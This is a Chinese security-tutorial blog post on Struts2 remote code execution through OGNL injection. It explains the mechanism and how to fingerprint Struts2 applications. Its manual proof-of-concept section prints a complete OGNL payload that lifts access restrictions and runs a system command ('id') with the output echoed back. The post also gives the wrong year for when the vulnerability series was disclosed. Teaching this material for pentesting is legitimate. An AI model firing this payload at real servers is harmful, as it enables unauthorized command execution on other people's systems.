当前位置: 首页 > news >正文

网络安全深入学习第三课——热门框架漏洞(RCE—Struts2远程代码执行)

文章目录

  • 一、Struts2框架介绍
  • 二、Struts2远程代码执行漏洞
  • 三、Struts2执行代码的原理
  • 四、Struts2框架特征
  • 五、漏洞手工POC
  • 六、漏洞工具复现


一、Struts2框架介绍

------ Struts2是apache项目下的一个web 框架,普遍应用于阿里巴巴、京东等互联网、政府、企业门户网站

------ Struts框架本身分为三个部分:核心控制器FilterDispatcher、业务控制器Action和用户实现的企业业务逻辑组件。


二、Struts2远程代码执行漏洞

------ Struts2漏洞是一个经典的漏洞系列,是在2019年被报出来的,根源在于Struts2引入了OGNL表达式使得框架具有灵活的动态性。随着整体框架的补丁完善,现在想挖掘新的Struts2漏洞会比以前困难很多,从实际了解的情况来看,大部分用户早就修复了历史的高危漏洞。目前在做渗透测试时,Struts2漏洞主要也是碰碰运气,或者是打到内网之后用来攻击没打补丁的系统会比较有效。


三、Struts2执行代码的原理

------ Struts2的动态性在于 OGNL表达式可以获取到运行变量的值,并且有机会执行函数调用。如果可以把恶意的请求参数送到 OGNL的执行流程中,就会导致任意代码执行漏洞。

------ Struts2的rce本质都是一样的(除了S2-052以外),都是Struts2框架执行了恶意用户传进来的 OGNL表达式,造成远程代码执行。可以造成“命令执行、服务器文件操作、打印回显、获取系统属性、危险代码执行”等,只不过需要精心构造不同的 OGNL代码而已。


四、Struts2框架特征

  1. 查看被测应用系统的源码,URL接口地址以 “.action” “.do”结尾或者地址中包含“!”符号

  2. 在被测应用的服务器上查看应用所在目录/WEB-INF/lib/下的jar文件,若存在struts2-core2.*.**.jar 或 xwork-core-2.*.**.jar格式的jar文件,则需检测是否存在Struts2远程代码执行漏洞。


五、漏洞手工POC

poc:

(%23_memberAccess[‘allowPrivateAccess’]=true,%23_memberAccess[‘allowProtectedAccess’]=true,%23_memberAccess[‘excludedPackageNamePatterns’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘excludedClasses’]=%23_memberAccess[‘acceptProperties’],%23_memberAccess[‘allowPackageProtectedAccess’]=true,%23_memberAccess[‘allowStaticMethodAccess’]=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘id’).getInputStream()))

注意:有些情况利用的时候要记得url编码

其他struts2版本的POC可以参考:
https://vulhub.org/#/environments/struts2/


六、漏洞工具复现

在这里插入图片描述


http://www.lryc.cn/news/167825.html

相关文章:

  • 【uni-app】
  • Pytorch 多卡并行(3)—— 使用 DDP 加速 minGPT 训练
  • IAM、EIAM、CIAM、RAM、IDaaS 都是什么?
  • STM32 Cubemx 通用定时器 General-Purpose Timers同步
  • Ubuntu 20.04降级clang-format
  • 激活函数总结(三十四):激活函数补充(FReLU、CReLU)
  • 【LeetCode-简单题KMP】459. 重复的子字符串
  • Lua脚本
  • vue 封装一个Dialog组件
  • 外包干了2个月,技术退步明显。。。。。
  • python科研作图
  • 视锥体裁剪射线的算法
  • 程序员在线周刊(投稿篇)
  • uniapp——实现聊天室功能——技能提升
  • 脚本:用python实现五子棋
  • Java-华为真题-预定酒店
  • win10 自带虚拟机软件 虚拟CentOS系统
  • 【深度学习】 Python 和 NumPy 系列教程(十):NumPy详解:2、数组操作(索引和切片、形状操作、转置操作、拼接操作)
  • 3D视觉测量:复现Gocator的间隙面差
  • 文献综述怎么写?(以利用Zotero的文献管理软件为例)
  • 中尺度混凝土二维有限元求解——运行弯曲、运行光盘、运行比较、运行半圆形(Matlab代码实现)
  • Python文件存读取
  • SpringBoot整合Easy-ES实现对ES操作
  • 让NPU跑起来迅为RK3588开发板设置交叉编译器
  • yyyy-MM-dd‘T‘HH:mm:ssZ的T是什么意思?为什么要用单引号引着
  • SIT1145AQ收发器芯片CAN FD Passive功能详解(摘自官网)
  • 安卓毕业设计各种app项目,Android毕设设计,Android课程设计,毕业论文
  • c++下的ros通信(cmake的报错问题多)
  • 测试必备 | 测试工程师必知的Linux命令有哪些?
  • 成集云 | 药师帮集成英克ERP接口 | 解决方案